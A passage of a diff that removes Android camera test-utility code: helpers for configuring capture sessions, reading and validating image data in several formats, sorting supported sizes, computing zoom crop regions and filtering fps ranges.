-        CameraCaptureSession session =
-                sessionListener.waitAndGetSession(SESSION_CONFIGURE_TIMEOUT_MS);
-        assertFalse("Camera session should not be a reprocessable session",
-                session.isReprocessable());
-        return session;
-    }
-
-    /**
-     * Configure a new camera session with output surfaces.
-     *
-     * @param camera The CameraDevice to be configured.
-     * @param outputSurfaces The surface list that used for camera output.
-     * @param listener The callback CameraDevice will notify when capture results are available.
-     */
-    public static CameraCaptureSession configureCameraSession(CameraDevice camera,
-            List<Surface> outputSurfaces,
-            CameraCaptureSession.StateCallback listener, Handler handler)
-            throws CameraAccessException {
-
-        return configureCameraSession(camera, outputSurfaces, /*isHighSpeed*/false,
-                listener, handler);
-    }
-
-    public static CameraCaptureSession configureReprocessableCameraSession(CameraDevice camera,
-            InputConfiguration inputConfiguration, List<Surface> outputSurfaces,
-            CameraCaptureSession.StateCallback listener, Handler handler)
-            throws CameraAccessException {
-        BlockingSessionCallback sessionListener = new BlockingSessionCallback(listener);
-        camera.createReprocessableCaptureSession(inputConfiguration, outputSurfaces,
-                sessionListener, handler);
-
-        Integer[] sessionStates = {BlockingSessionCallback.SESSION_READY,
-                                   BlockingSessionCallback.SESSION_CONFIGURE_FAILED};
-        int state = sessionListener.getStateWaiter().waitForAnyOfStates(
-                Arrays.asList(sessionStates), SESSION_CONFIGURE_TIMEOUT_MS);
-
-        assertTrue("Creating a reprocessable session failed.",
-                state == BlockingSessionCallback.SESSION_READY);
-
-        CameraCaptureSession session =
-                sessionListener.waitAndGetSession(SESSION_CONFIGURE_TIMEOUT_MS);
-        assertTrue("Camera session should be a reprocessable session", session.isReprocessable());
-
-        return session;
-    }
-
-    /**
-     * Create a reprocessable camera session with input and output configurations.
-     *
-     * @param camera The CameraDevice to be configured.
-     * @param inputConfiguration The input configuration used to create this session.
-     * @param outputs The output configurations used to create this session.
-     * @param listener The callback CameraDevice will notify when capture results are available.
-     * @param handler The handler used to notify callbacks.
-     * @return The session ready to use.
-     * @throws CameraAccessException
-     */
-    public static CameraCaptureSession configureReprocCameraSessionWithConfig(CameraDevice camera,
-            InputConfiguration inputConfiguration, List<OutputConfiguration> outputs,
-            CameraCaptureSession.StateCallback listener, Handler handler)
-            throws CameraAccessException {
-        BlockingSessionCallback sessionListener = new BlockingSessionCallback(listener);
-        camera.createReprocessableCaptureSessionByConfigurations(inputConfiguration, outputs,
-                sessionListener, handler);
-
-        Integer[] sessionStates = {BlockingSessionCallback.SESSION_READY,
-                                   BlockingSessionCallback.SESSION_CONFIGURE_FAILED};
-        int state = sessionListener.getStateWaiter().waitForAnyOfStates(
-                Arrays.asList(sessionStates), SESSION_CONFIGURE_TIMEOUT_MS);
-
-        assertTrue("Creating a reprocessable session failed.",
-                state == BlockingSessionCallback.SESSION_READY);
-
-        CameraCaptureSession session =
-                sessionListener.waitAndGetSession(SESSION_CONFIGURE_TIMEOUT_MS);
-        assertTrue("Camera session should be a reprocessable session", session.isReprocessable());
-
-        return session;
-    }
-
-    public static <T> void assertArrayNotEmpty(T arr, String message) {
-        assertTrue(message, arr != null && Array.getLength(arr) > 0);
-    }
-
-    /**
-     * Check if the format is a legal YUV format camera supported.
-     */
-    public static void checkYuvFormat(int format) {
-        if ((format != ImageFormat.YUV_420_888) &&
-                (format != ImageFormat.NV21) &&
-                (format != ImageFormat.YV12)) {
-            fail("Wrong formats: " + format);
-        }
-    }
-
-    /**
-     * Check if image size and format match given size and format.
-     */
-    public static void checkImage(Image image, int width, int height, int format) {
-        // Image reader will wrap YV12/NV21 image by YUV_420_888
-        if (format == ImageFormat.NV21 || format == ImageFormat.YV12) {
-            format = ImageFormat.YUV_420_888;
-        }
-        assertNotNull("Input image is invalid", image);
-        assertEquals("Format doesn't match", format, image.getFormat());
-        assertEquals("Width doesn't match", width, image.getWidth());
-        assertEquals("Height doesn't match", height, image.getHeight());
-    }
-
-    /**
-     * <p>Read data from all planes of an Image into a contiguous unpadded, unpacked
-     * 1-D linear byte array, such that it can be write into disk, or accessed by
-     * software conveniently. It supports YUV_420_888/NV21/YV12 and JPEG input
-     * Image format.</p>
-     *
-     * <p>For YUV_420_888/NV21/YV12/Y8/Y16, it returns a byte array that contains
-     * the Y plane data first, followed by U(Cb), V(Cr) planes if there is any
-     * (xstride = width, ystride = height for chroma and luma components).</p>
-     *
-     * <p>For JPEG, it returns a 1-D byte array contains a complete JPEG image.</p>
-     */
-    public static byte[] getDataFromImage(Image image) {
-        assertNotNull("Invalid image:", image);
-        int format = image.getFormat();
-        int width = image.getWidth();
-        int height = image.getHeight();
-        int rowStride, pixelStride;
-        byte[] data = null;
-
-        // Read image data
-        Plane[] planes = image.getPlanes();
-        assertTrue("Fail to get image planes", planes != null && planes.length > 0);
-
-        // Check image validity
-        checkAndroidImageFormat(image);
-
-        ByteBuffer buffer = null;
-        // JPEG doesn't have pixelstride and rowstride, treat it as 1D buffer.
-        // Same goes for DEPTH_POINT_CLOUD
-        if (format == ImageFormat.JPEG || format == ImageFormat.DEPTH_POINT_CLOUD ||
-                format == ImageFormat.RAW_PRIVATE) {
-            buffer = planes[0].getBuffer();
-            assertNotNull("Fail to get jpeg or depth ByteBuffer", buffer);
-            data = new byte[buffer.remaining()];
-            buffer.get(data);
-            buffer.rewind();
-            return data;
-        }
-
-        int offset = 0;
-        data = new byte[width * height * ImageFormat.getBitsPerPixel(format) / 8];
-        int maxRowSize = planes[0].getRowStride();
-        for (int i = 0; i < planes.length; i++) {
-            if (maxRowSize < planes[i].getRowStride()) {
-                maxRowSize = planes[i].getRowStride();
-            }
-        }
-        byte[] rowData = new byte[maxRowSize];
-        if(VERBOSE) Log.v(TAG, "get data from " + planes.length + " planes");
-        for (int i = 0; i < planes.length; i++) {
-            buffer = planes[i].getBuffer();
-            assertNotNull("Fail to get bytebuffer from plane", buffer);
-            rowStride = planes[i].getRowStride();
-            pixelStride = planes[i].getPixelStride();
-            assertTrue("pixel stride " + pixelStride + " is invalid", pixelStride > 0);
-            if (VERBOSE) {
-                Log.v(TAG, "pixelStride " + pixelStride);
-                Log.v(TAG, "rowStride " + rowStride);
-                Log.v(TAG, "width " + width);
-                Log.v(TAG, "height " + height);
-            }
-            // For multi-planar yuv images, assuming yuv420 with 2x2 chroma subsampling.
-            int w = (i == 0) ? width : width / 2;
-            int h = (i == 0) ? height : height / 2;
-            assertTrue("rowStride " + rowStride + " should be >= width " + w , rowStride >= w);
-            for (int row = 0; row < h; row++) {
-                int bytesPerPixel = ImageFormat.getBitsPerPixel(format) / 8;
-                int length;
-                if (pixelStride == bytesPerPixel) {
-                    // Special case: optimized read of the entire row
-                    length = w * bytesPerPixel;
-                    buffer.get(data, offset, length);
-                    offset += length;
-                } else {
-                    // Generic case: should work for any pixelStride but slower.
-                    // Use intermediate buffer to avoid read byte-by-byte from
-                    // DirectByteBuffer, which is very bad for performance
-                    length = (w - 1) * pixelStride + bytesPerPixel;
-                    buffer.get(rowData, 0, length);
-                    for (int col = 0; col < w; col++) {
-                        data[offset++] = rowData[col * pixelStride];
-                    }
-                }
-                // Advance buffer the remainder of the row stride
-                if (row < h - 1) {
-                    buffer.position(buffer.position() + rowStride - length);
-                }
-            }
-            if (VERBOSE) Log.v(TAG, "Finished reading data from plane " + i);
-            buffer.rewind();
-        }
-        return data;
-    }
-
-    /**
-     * <p>Check android image format validity for an image, only support below formats:</p>
-     *
-     * <p>YUV_420_888/NV21/YV12, can add more for future</p>
-     */
-    public static void checkAndroidImageFormat(Image image) {
-        int format = image.getFormat();
-        Plane[] planes = image.getPlanes();
-        switch (format) {
-            case ImageFormat.YUV_420_888:
-            case ImageFormat.NV21:
-            case ImageFormat.YV12:
-                assertEquals("YUV420 format Images should have 3 planes", 3, planes.length);
-                break;
-            case ImageFormat.JPEG:
-            case ImageFormat.RAW_SENSOR:
-            case ImageFormat.RAW_PRIVATE:
-            case ImageFormat.DEPTH16:
-            case ImageFormat.DEPTH_POINT_CLOUD:
-                assertEquals("JPEG/RAW/depth Images should have one plane", 1, planes.length);
-                break;
-            default:
-                fail("Unsupported Image Format: " + format);
-        }
-    }
-
-    public static void dumpFile(String fileName, Bitmap data) {
-        FileOutputStream outStream;
-        try {
-            Log.v(TAG, "output will be saved as " + fileName);
-            outStream = new FileOutputStream(fileName);
-        } catch (IOException ioe) {
-            throw new RuntimeException("Unable to create debug output file " + fileName, ioe);
-        }
-
-        try {
-            data.compress(Bitmap.CompressFormat.JPEG, /*quality*/90, outStream);
-            outStream.close();
-        } catch (IOException ioe) {
-            throw new RuntimeException("failed writing data to file " + fileName, ioe);
-        }
-    }
-
-    public static void dumpFile(String fileName, byte[] data) {
-        FileOutputStream outStream;
-        try {
-            Log.v(TAG, "output will be saved as " + fileName);
-            outStream = new FileOutputStream(fileName);
-        } catch (IOException ioe) {
-            throw new RuntimeException("Unable to create debug output file " + fileName, ioe);
-        }
-
-        try {
-            outStream.write(data);
-            outStream.close();
-        } catch (IOException ioe) {
-            throw new RuntimeException("failed writing data to file " + fileName, ioe);
-        }
-    }
-
-    /**
-     * Get the available output sizes for the user-defined {@code format}.
-     *
-     * <p>Note that implementation-defined/hidden formats are not supported.</p>
-     */
-    public static Size[] getSupportedSizeForFormat(int format, String cameraId,
-            CameraManager cameraManager) throws CameraAccessException {
-        CameraCharacteristics properties = cameraManager.getCameraCharacteristics(cameraId);
-        assertNotNull("Can't get camera characteristics!", properties);
-        if (VERBOSE) {
-            Log.v(TAG, "get camera characteristics for camera: " + cameraId);
-        }
-        StreamConfigurationMap configMap =
-                properties.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
-        Size[] availableSizes = configMap.getOutputSizes(format);
-        assertArrayNotEmpty(availableSizes, "availableSizes should not be empty for format: "
-                + format);
-        Size[] highResAvailableSizes = configMap.getHighResolutionOutputSizes(format);
-        if (highResAvailableSizes != null && highResAvailableSizes.length > 0) {
-            Size[] allSizes = new Size[availableSizes.length + highResAvailableSizes.length];
-            System.arraycopy(availableSizes, 0, allSizes, 0,
-                    availableSizes.length);
-            System.arraycopy(highResAvailableSizes, 0, allSizes, availableSizes.length,
-                    highResAvailableSizes.length);
-            availableSizes = allSizes;
-        }
-        if (VERBOSE) Log.v(TAG, "Supported sizes are: " + Arrays.deepToString(availableSizes));
-        return availableSizes;
-    }
-
-    /**
-     * Get the available output sizes for the given class.
-     *
-     */
-    public static Size[] getSupportedSizeForClass(Class klass, String cameraId,
-            CameraManager cameraManager) throws CameraAccessException {
-        CameraCharacteristics properties = cameraManager.getCameraCharacteristics(cameraId);
-        assertNotNull("Can't get camera characteristics!", properties);
-        if (VERBOSE) {
-            Log.v(TAG, "get camera characteristics for camera: " + cameraId);
-        }
-        StreamConfigurationMap configMap =
-                properties.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
-        Size[] availableSizes = configMap.getOutputSizes(klass);
-        assertArrayNotEmpty(availableSizes, "availableSizes should not be empty for class: "
-                + klass);
-        Size[] highResAvailableSizes = configMap.getHighResolutionOutputSizes(ImageFormat.PRIVATE);
-        if (highResAvailableSizes != null && highResAvailableSizes.length > 0) {
-            Size[] allSizes = new Size[availableSizes.length + highResAvailableSizes.length];
-            System.arraycopy(availableSizes, 0, allSizes, 0,
-                    availableSizes.length);
-            System.arraycopy(highResAvailableSizes, 0, allSizes, availableSizes.length,
-                    highResAvailableSizes.length);
-            availableSizes = allSizes;
-        }
-        if (VERBOSE) Log.v(TAG, "Supported sizes are: " + Arrays.deepToString(availableSizes));
-        return availableSizes;
-    }
-
-    /**
-     * Size comparator that compares the number of pixels it covers.
-     *
-     * <p>If two the areas of two sizes are same, compare the widths.</p>
-     */
-    public static class SizeComparator implements Comparator<Size> {
-        @Override
-        public int compare(Size lhs, Size rhs) {
-            return CameraUtils
-                    .compareSizes(lhs.getWidth(), lhs.getHeight(), rhs.getWidth(), rhs.getHeight());
-        }
-    }
-
-    /**
-     * Get sorted size list in descending order. Remove the sizes larger than
-     * the bound. If the bound is null, don't do the size bound filtering.
-     */
-    static public List<Size> getSupportedPreviewSizes(String cameraId,
-            CameraManager cameraManager, Size bound) throws CameraAccessException {
-
-        Size[] rawSizes = getSupportedSizeForClass(android.view.SurfaceHolder.class, cameraId,
-                cameraManager);
-        assertArrayNotEmpty(rawSizes,
-                "Available sizes for SurfaceHolder class should not be empty");
-        if (VERBOSE) {
-            Log.v(TAG, "Supported sizes are: " + Arrays.deepToString(rawSizes));
-        }
-
-        if (bound == null) {
-            return getAscendingOrderSizes(Arrays.asList(rawSizes), /*ascending*/false);
-        }
-
-        List<Size> sizes = new ArrayList<Size>();
-        for (Size sz: rawSizes) {
-            if (sz.getWidth() <= bound.getWidth() && sz.getHeight() <= bound.getHeight()) {
-                sizes.add(sz);
-            }
-        }
-        return getAscendingOrderSizes(sizes, /*ascending*/false);
-    }
-
-    /**
-     * Get a sorted list of sizes from a given size list.
-     *
-     * <p>
-     * The size is compare by area it covers, if the areas are same, then
-     * compare the widths.
-     * </p>
-     *
-     * @param sizeList The input size list to be sorted
-     * @param ascending True if the order is ascending, otherwise descending order
-     * @return The ordered list of sizes
-     */
-    static public List<Size> getAscendingOrderSizes(final List<Size> sizeList, boolean ascending) {
-        if (sizeList == null) {
-            throw new IllegalArgumentException("sizeList shouldn't be null");
-        }
-
-        Comparator<Size> comparator = new SizeComparator();
-        List<Size> sortedSizes = new ArrayList<Size>();
-        sortedSizes.addAll(sizeList);
-        Collections.sort(sortedSizes, comparator);
-        if (!ascending) {
-            Collections.reverse(sortedSizes);
-        }
-
-        return sortedSizes;
-    }
-
-    /**
-     * Get sorted (descending order) size list for given format. Remove the sizes larger than
-     * the bound. If the bound is null, don't do the size bound filtering.
-     */
-    static public List<Size> getSortedSizesForFormat(String cameraId,
-            CameraManager cameraManager, int format, Size bound) throws CameraAccessException {
-        Comparator<Size> comparator = new SizeComparator();
-        Size[] sizes = getSupportedSizeForFormat(format, cameraId, cameraManager);
-        List<Size> sortedSizes = null;
-        if (bound != null) {
-            sortedSizes = new ArrayList<Size>(/*capacity*/1);
-            for (Size sz : sizes) {
-                if (comparator.compare(sz, bound) <= 0) {
-                    sortedSizes.add(sz);
-                }
-            }
-        } else {
-            sortedSizes = Arrays.asList(sizes);
-        }
-        assertTrue("Supported size list should have at least one element",
-                sortedSizes.size() > 0);
-
-        Collections.sort(sortedSizes, comparator);
-        // Make it in descending order.
-        Collections.reverse(sortedSizes);
-        return sortedSizes;
-    }
-
-    /**
-     * Get supported video size list for a given camera device.
-     *
-     * <p>
-     * Filter out the sizes that are larger than the bound. If the bound is
-     * null, don't do the size bound filtering.
-     * </p>
-     */
-    static public List<Size> getSupportedVideoSizes(String cameraId,
-            CameraManager cameraManager, Size bound) throws CameraAccessException {
-
-        Size[] rawSizes = getSupportedSizeForClass(android.media.MediaRecorder.class,
-                cameraId, cameraManager);
-        assertArrayNotEmpty(rawSizes,
-                "Available sizes for MediaRecorder class should not be empty");
-        if (VERBOSE) {
-            Log.v(TAG, "Supported sizes are: " + Arrays.deepToString(rawSizes));
-        }
-
-        if (bound == null) {
-            return getAscendingOrderSizes(Arrays.asList(rawSizes), /*ascending*/false);
-        }
-
-        List<Size> sizes = new ArrayList<Size>();
-        for (Size sz: rawSizes) {
-            if (sz.getWidth() <= bound.getWidth() && sz.getHeight() <= bound.getHeight()) {
-                sizes.add(sz);
-            }
-        }
-        return getAscendingOrderSizes(sizes, /*ascending*/false);
-    }
-
-    /**
-     * Get supported video size list (descending order) for a given camera device.
-     *
-     * <p>
-     * Filter out the sizes that are larger than the bound. If the bound is
-     * null, don't do the size bound filtering.
-     * </p>
-     */
-    static public List<Size> getSupportedStillSizes(String cameraId,
-            CameraManager cameraManager, Size bound) throws CameraAccessException {
-        return getSortedSizesForFormat(cameraId, cameraManager, ImageFormat.JPEG, bound);
-    }
-
-    static public Size getMinPreviewSize(String cameraId, CameraManager cameraManager)
-            throws CameraAccessException {
-        List<Size> sizes = getSupportedPreviewSizes(cameraId, cameraManager, null);
-        return sizes.get(sizes.size() - 1);
-    }
-
-    /**
-     * Get max supported preview size for a camera device.
-     */
-    static public Size getMaxPreviewSize(String cameraId, CameraManager cameraManager)
-            throws CameraAccessException {
-        return getMaxPreviewSize(cameraId, cameraManager, /*bound*/null);
-    }
-
-    /**
-     * Get max preview size for a camera device in the supported sizes that are no larger
-     * than the bound.
-     */
-    static public Size getMaxPreviewSize(String cameraId, CameraManager cameraManager, Size bound)
-            throws CameraAccessException {
-        List<Size> sizes = getSupportedPreviewSizes(cameraId, cameraManager, bound);
-        return sizes.get(0);
-    }
-
-    /**
-     * Get max depth size for a camera device.
-     */
-    static public Size getMaxDepthSize(String cameraId, CameraManager cameraManager)
-            throws CameraAccessException {
-        List<Size> sizes = getSortedSizesForFormat(cameraId, cameraManager, ImageFormat.DEPTH16,
-                /*bound*/ null);
-        return sizes.get(0);
-    }
-
-    /**
-     * Get the largest size by area.
-     *
-     * @param sizes an array of sizes, must have at least 1 element
-     *
-     * @return Largest Size
-     *
-     * @throws IllegalArgumentException if sizes was null or had 0 elements
-     */
-    public static Size getMaxSize(Size... sizes) {
-        if (sizes == null || sizes.length == 0) {
-            throw new IllegalArgumentException("sizes was empty");
-        }
-
-        Size sz = sizes[0];
-        for (Size size : sizes) {
-            if (size.getWidth() * size.getHeight() > sz.getWidth() * sz.getHeight()) {
-                sz = size;
-            }
-        }
-
-        return sz;
-    }
-
-    /**
-     * Returns true if the given {@code array} contains the given element.
-     *
-     * @param array {@code array} to check for {@code elem}
-     * @param elem {@code elem} to test for
-     * @return {@code true} if the given element is contained
-     */
-    public static boolean contains(int[] array, int elem) {
-        if (array == null) return false;
-        for (int i = 0; i < array.length; i++) {
-            if (elem == array[i]) return true;
-        }
-        return false;
-    }
-
-    /**
-     * Get object array from byte array.
-     *
-     * @param array Input byte array to be converted
-     * @return Byte object array converted from input byte array
-     */
-    public static Byte[] toObject(byte[] array) {
-        return convertPrimitiveArrayToObjectArray(array, Byte.class);
-    }
-
-    /**
-     * Get object array from int array.
-     *
-     * @param array Input int array to be converted
-     * @return Integer object array converted from input int array
-     */
-    public static Integer[] toObject(int[] array) {
-        return convertPrimitiveArrayToObjectArray(array, Integer.class);
-    }
-
-    /**
-     * Get object array from float array.
-     *
-     * @param array Input float array to be converted
-     * @return Float object array converted from input float array
-     */
-    public static Float[] toObject(float[] array) {
-        return convertPrimitiveArrayToObjectArray(array, Float.class);
-    }
-
-    /**
-     * Get object array from double array.
-     *
-     * @param array Input double array to be converted
-     * @return Double object array converted from input double array
-     */
-    public static Double[] toObject(double[] array) {
-        return convertPrimitiveArrayToObjectArray(array, Double.class);
-    }
-
-    /**
-     * Convert a primitive input array into its object array version (e.g. from int[] to Integer[]).
-     *
-     * @param array Input array object
-     * @param wrapperClass The boxed class it converts to
-     * @return Boxed version of primitive array
-     */
-    private static <T> T[] convertPrimitiveArrayToObjectArray(final Object array,
-            final Class<T> wrapperClass) {
-        // getLength does the null check and isArray check already.
-        int arrayLength = Array.getLength(array);
-        if (arrayLength == 0) {
-            throw new IllegalArgumentException("Input array shouldn't be empty");
-        }
-
-        @SuppressWarnings("unchecked")
-        final T[] result = (T[]) Array.newInstance(wrapperClass, arrayLength);
-        for (int i = 0; i < arrayLength; i++) {
-            Array.set(result, i, Array.get(array, i));
-        }
-        return result;
-    }
-
-    /**
-     * Validate image based on format and size.
-     *
-     * @param image The image to be validated.
-     * @param width The image width.
-     * @param height The image height.
-     * @param format The image format.
-     * @param filePath The debug dump file path, null if don't want to dump to
-     *            file.
-     * @throws UnsupportedOperationException if calling with an unknown format
-     */
-    public static void validateImage(Image image, int width, int height, int format,
-            String filePath) {
-        checkImage(image, width, height, format);
-
-        /**
-         * TODO: validate timestamp:
-         * 1. capture result timestamp against the image timestamp (need
-         * consider frame drops)
-         * 2. timestamps should be monotonically increasing for different requests
-         */
-        if(VERBOSE) Log.v(TAG, "validating Image");
-        byte[] data = getDataFromImage(image);
-        assertTrue("Invalid image data", data != null && data.length > 0);
-
-        switch (format) {
-            case ImageFormat.JPEG:
-                validateJpegData(data, width, height, filePath);
-                break;
-            case ImageFormat.YUV_420_888:
-            case ImageFormat.YV12:
-                validateYuvData(data, width, height, format, image.getTimestamp(), filePath);
-                break;
-            case ImageFormat.RAW_SENSOR:
-                validateRaw16Data(data, width, height, format, image.getTimestamp(), filePath);
-                break;
-            case ImageFormat.DEPTH16:
-                validateDepth16Data(data, width, height, format, image.getTimestamp(), filePath);
-                break;
-            case ImageFormat.DEPTH_POINT_CLOUD:
-                validateDepthPointCloudData(data, width, height, format, image.getTimestamp(), filePath);
-                break;
-            case ImageFormat.RAW_PRIVATE:
-                validateRawPrivateData(data, width, height, image.getTimestamp(), filePath);
-                break;
-            default:
-                throw new UnsupportedOperationException("Unsupported format for validation: "
-                        + format);
-        }
-    }
-
-    /**
-     * Provide a mock for {@link CameraDevice.StateCallback}.
-     *
-     * <p>Only useful because mockito can't mock {@link CameraDevice.StateCallback} which is an
-     * abstract class.</p>
-     *
-     * <p>
-     * Use this instead of other classes when needing to verify interactions, since
-     * trying to spy on {@link BlockingStateCallback} (or others) will cause unnecessary extra
-     * interactions which will cause false test failures.
-     * </p>
-     *
-     */
-    public static class MockStateCallback extends CameraDevice.StateCallback {
-
-        @Override
-        public void onOpened(CameraDevice camera) {
-        }
-
-        @Override
-        public void onDisconnected(CameraDevice camera) {
-        }
-
-        @Override
-        public void onError(CameraDevice camera, int error) {
-        }
-
-        private MockStateCallback() {}
-
-        /**
-         * Create a Mockito-ready mocked StateCallback.
-         */
-        public static MockStateCallback mock() {
-            return Mockito.spy(new MockStateCallback());
-        }
-    }
-
-    private static void validateJpegData(byte[] jpegData, int width, int height, String filePath) {
-        BitmapFactory.Options bmpOptions = new BitmapFactory.Options();
-        // DecodeBound mode: only parse the frame header to get width/height.
-        // it doesn't decode the pixel.
-        bmpOptions.inJustDecodeBounds = true;
-        BitmapFactory.decodeByteArray(jpegData, 0, jpegData.length, bmpOptions);
-        assertEquals(width, bmpOptions.outWidth);
-        assertEquals(height, bmpOptions.outHeight);
-
-        // Pixel decoding mode: decode whole image. check if the image data
-        // is decodable here.
-        assertNotNull("Decoding jpeg failed",
-                BitmapFactory.decodeByteArray(jpegData, 0, jpegData.length));
-        if (DEBUG && filePath != null) {
-            String fileName =
-                    filePath + "/" + width + "x" + height + ".jpeg";
-            dumpFile(fileName, jpegData);
-        }
-    }
-
-    private static void validateYuvData(byte[] yuvData, int width, int height, int format,
-            long ts, String filePath) {
-        checkYuvFormat(format);
-        if (VERBOSE) Log.v(TAG, "Validating YUV data");
-        int expectedSize = width * height * ImageFormat.getBitsPerPixel(format) / 8;
-        assertEquals("Yuv data doesn't match", expectedSize, yuvData.length);
-
-        // TODO: Can add data validation for test pattern.
-
-        if (DEBUG && filePath != null) {
-            String fileName =
-                    filePath + "/" + width + "x" + height + "_" + ts / 1e6 + ".yuv";
-            dumpFile(fileName, yuvData);
-        }
-    }
-
-    private static void validateRaw16Data(byte[] rawData, int width, int height, int format,
-            long ts, String filePath) {
-        if (VERBOSE) Log.v(TAG, "Validating raw data");
-        int expectedSize = width * height * ImageFormat.getBitsPerPixel(format) / 8;
-        assertEquals("Raw data doesn't match", expectedSize, rawData.length);
-
-        // TODO: Can add data validation for test pattern.
-
-        if (DEBUG && filePath != null) {
-            String fileName =
-                    filePath + "/" + width + "x" + height + "_" + ts / 1e6 + ".raw16";
-            dumpFile(fileName, rawData);
-        }
-
-        return;
-    }
-
-    private static void validateRawPrivateData(byte[] rawData, int width, int height,
-            long ts, String filePath) {
-        if (VERBOSE) Log.v(TAG, "Validating private raw data");
-        // Expect each RAW pixel should occupy at least one byte and no more than 2.5 bytes
-        int expectedSizeMin = width * height;
-        int expectedSizeMax = width * height * 5 / 2;
-
-        assertTrue("Opaque RAW size " + rawData.length + "out of normal bound [" +
-                expectedSizeMin + "," + expectedSizeMax + "]",
-                expectedSizeMin <= rawData.length && rawData.length <= expectedSizeMax);
-
-        if (DEBUG && filePath != null) {
-            String fileName =
-                    filePath + "/" + width + "x" + height + "_" + ts / 1e6 + ".rawPriv";
-            dumpFile(fileName, rawData);
-        }
-
-        return;
-    }
-
-    private static void validateDepth16Data(byte[] depthData, int width, int height, int format,
-            long ts, String filePath) {
-
-        if (VERBOSE) Log.v(TAG, "Validating depth16 data");
-        int expectedSize = width * height * ImageFormat.getBitsPerPixel(format) / 8;
-        assertEquals("Depth data doesn't match", expectedSize, depthData.length);
-
-
-        if (DEBUG && filePath != null) {
-            String fileName =
-                    filePath + "/" + width + "x" + height + "_" + ts / 1e6 + ".depth16";
-            dumpFile(fileName, depthData);
-        }
-
-        return;
-
-    }
-
-    private static void validateDepthPointCloudData(byte[] depthData, int width, int height, int format,
-            long ts, String filePath) {
-
-        if (VERBOSE) Log.v(TAG, "Validating depth point cloud data");
-
-        // Can't validate size since it is variable
-
-        if (DEBUG && filePath != null) {
-            String fileName =
-                    filePath + "/" + width + "x" + height + "_" + ts / 1e6 + ".depth_point_cloud";
-            dumpFile(fileName, depthData);
-        }
-
-        return;
-
-    }
-
-    public static <T> T getValueNotNull(CaptureResult result, CaptureResult.Key<T> key) {
-        if (result == null) {
-            throw new IllegalArgumentException("Result must not be null");
-        }
-
-        T value = result.get(key);
-        assertNotNull("Value of Key " + key.getName() + "shouldn't be null", value);
-        return value;
-    }
-
-    public static <T> T getValueNotNull(CameraCharacteristics characteristics,
-            CameraCharacteristics.Key<T> key) {
-        if (characteristics == null) {
-            throw new IllegalArgumentException("Camera characteristics must not be null");
-        }
-
-        T value = characteristics.get(key);
-        assertNotNull("Value of Key " + key.getName() + "shouldn't be null", value);
-        return value;
-    }
-
-    /**
-     * Get a crop region for a given zoom factor and center position.
-     * <p>
-     * The center position is normalized position in range of [0, 1.0], where
-     * (0, 0) represents top left corner, (1.0. 1.0) represents bottom right
-     * corner. The center position could limit the effective minimal zoom
-     * factor, for example, if the center position is (0.75, 0.75), the
-     * effective minimal zoom position becomes 2.0. If the requested zoom factor
-     * is smaller than 2.0, a crop region with 2.0 zoom factor will be returned.
-     * </p>
-     * <p>
-     * The aspect ratio of the crop region is maintained the same as the aspect
-     * ratio of active array.
-     * </p>
-     *
-     * @param zoomFactor The zoom factor to generate the crop region, it must be
-     *            >= 1.0
-     * @param center The normalized zoom center point that is in the range of [0, 1].
-     * @param maxZoom The max zoom factor supported by this device.
-     * @param activeArray The active array size of this device.
-     * @return crop region for the given normalized center and zoom factor.
-     */
-    public static Rect getCropRegionForZoom(float zoomFactor, final PointF center,
-            final float maxZoom, final Rect activeArray) {
-        if (zoomFactor < 1.0) {
-            throw new IllegalArgumentException("zoom factor " + zoomFactor + " should be >= 1.0");
-        }
-        if (center.x > 1.0 || center.x < 0) {
-            throw new IllegalArgumentException("center.x " + center.x
-                    + " should be in range of [0, 1.0]");
-        }
-        if (center.y > 1.0 || center.y < 0) {
-            throw new IllegalArgumentException("center.y " + center.y
-                    + " should be in range of [0, 1.0]");
-        }
-        if (maxZoom < 1.0) {
-            throw new IllegalArgumentException("max zoom factor " + maxZoom + " should be >= 1.0");
-        }
-        if (activeArray == null) {
-            throw new IllegalArgumentException("activeArray must not be null");
-        }
-
-        float minCenterLength = Math.min(Math.min(center.x, 1.0f - center.x),
-                Math.min(center.y, 1.0f - center.y));
-        float minEffectiveZoom =  0.5f / minCenterLength;
-        if (minEffectiveZoom > maxZoom) {
-            throw new IllegalArgumentException("Requested center " + center.toString() +
-                    " has minimal zoomable factor " + minEffectiveZoom + ", which exceeds max"
-                            + " zoom factor " + maxZoom);
-        }
-
-        if (zoomFactor < minEffectiveZoom) {
-            Log.w(TAG, "Requested zoomFactor " + zoomFactor + " < minimal zoomable factor "
-                    + minEffectiveZoom + ". It will be overwritten by " + minEffectiveZoom);
-            zoomFactor = minEffectiveZoom;
-        }
-
-        int cropCenterX = (int)(activeArray.width() * center.x);
-        int cropCenterY = (int)(activeArray.height() * center.y);
-        int cropWidth = (int) (activeArray.width() / zoomFactor);
-        int cropHeight = (int) (activeArray.height() / zoomFactor);
-
-        return new Rect(
-                /*left*/cropCenterX - cropWidth / 2,
-                /*top*/cropCenterY - cropHeight / 2,
-                /*right*/ cropCenterX + cropWidth / 2 - 1,
-                /*bottom*/cropCenterY + cropHeight / 2 - 1);
-    }
-
-    /**
-     * Get AeAvailableTargetFpsRanges and sort them in descending order by max fps
-     *
-     * @param staticInfo camera static metadata
-     * @return AeAvailableTargetFpsRanges in descending order by max fps
-     */
-    public static Range<Integer>[] getDescendingTargetFpsRanges(StaticMetadata staticInfo) {
-        Range<Integer>[] fpsRanges = staticInfo.getAeAvailableTargetFpsRangesChecked();
-        Arrays.sort(fpsRanges, new Comparator<Range<Integer>>() {
-            public int compare(Range<Integer> r1, Range<Integer> r2) {
-                return r2.getUpper() - r1.getUpper();
-            }
-        });
-        return fpsRanges;
-    }
-
-    /**
-     * Get AeAvailableTargetFpsRanges with max fps not exceeding 30
-     *
-     * @param staticInfo camera static metadata
-     * @return AeAvailableTargetFpsRanges with max fps not exceeding 30
-     */
-    public static List<Range<Integer>> getTargetFpsRangesUpTo30(StaticMetadata staticInfo) {
-        Range<Integer>[] fpsRanges = staticInfo.getAeAvailableTargetFpsRangesChecked();
-        ArrayList<Range<Integer>> fpsRangesUpTo30 = new ArrayList<Range<Integer>>();
-        for (Range<Integer> fpsRange : fpsRanges) {
-            if (fpsRange.getUpper() <= 30) {
-                fpsRangesUpTo30.add(fpsRange);
-            }
-        }
-        return fpsRangesUpTo30;
-    }
-
-    /**
-     * Get AeAvailableTargetFpsRanges with max fps greater than 30
-     *
-     * @param staticInfo camera static metadata
-     * @return AeAvailableTargetFpsRanges with max fps greater than 30
-     */
